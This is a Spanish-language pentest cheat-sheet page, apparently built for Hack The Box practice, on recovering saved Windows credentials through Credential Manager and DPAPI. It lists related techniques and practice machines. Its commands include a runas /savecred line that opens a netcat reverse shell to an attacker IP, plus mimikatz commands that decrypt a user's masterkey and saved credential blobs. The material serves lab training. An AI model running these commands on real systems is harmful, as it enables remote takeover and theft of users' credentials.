Administrador de credenciales de Windows
Subtécnica de T1555 Credenciales de almacenes de contraseñas ↗
Recuperar credenciales guardadas con DPAPI (Credential Manager, runas /savecred, navegadores).
Cómo aparece en Hack The Box
cmdkey /list muestra credenciales guardadas que puedes usar con runas /savecred. Para descifrar los blobs necesitas la masterkey del usuario, que se descifra con su contraseña.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
- Cross-Site Scripting (XSS)
- CSRF
- Inyección SQL
- SSRF
- Credenciales guardadas / DPAPI
- ADCS (certificados)
- Captura y relay NTLM
- Pass-the-hash / ticket
- Password spraying y usuarios válidos
- Credenciales en ficheros
- Servicios internos y port forwarding
- Volcado de SAM/LSA/LSASS
- Abuso de ACLs (BloodHound)
- GPP y abuso de GPO
- Cracking de hashes
- Fuzzing de vhosts y subdominios
- Credenciales por defecto
- Deserialización insegura
- Inyección de comandos
- Password spraying y usuarios válidos
- Credenciales en ficheros
- Servicios internos y port forwarding
- Criptografía débil o casera
- Backups y archivos comprimidos
- Credenciales guardadas / DPAPI
- AppLocker y Constrained Language Mode
Guías
- Volcado de credenciales en Windows: SAM, LSA, LSASS, DPAPI y NTDS.dit 4 min de lectura Dónde guarda Windows las credenciales y cómo sacarlas: SAM y SYSTEM, secretos LSA, LSASS con lsassy o pypykatz, DPAPI y NTDS.dit con SeBackup.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Escalada en Windows y Active Directory › Windows
Credenciales de Windows guardadas
cmdkey /list
runas /savecred /user:Administrator "C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"Mimikatz › DPAPI
Descifrar la masterkey con la contraseña del usuario
Víctima
.\mimikatz.exe "dpapi::masterkey /in:C:\Users\usuario\AppData\Roaming\Microsoft\Protect\SID\GUID /sid:SID /password:Password123! /protected" "exit"
Descifrar una credencial guardada
Víctima
.\mimikatz.exe "dpapi::cred /in:C:\Users\usuario\AppData\Roaming\Microsoft\Credentials\FICHERO /masterkey:MASTERKEY" "exit"Ningún comando coincide.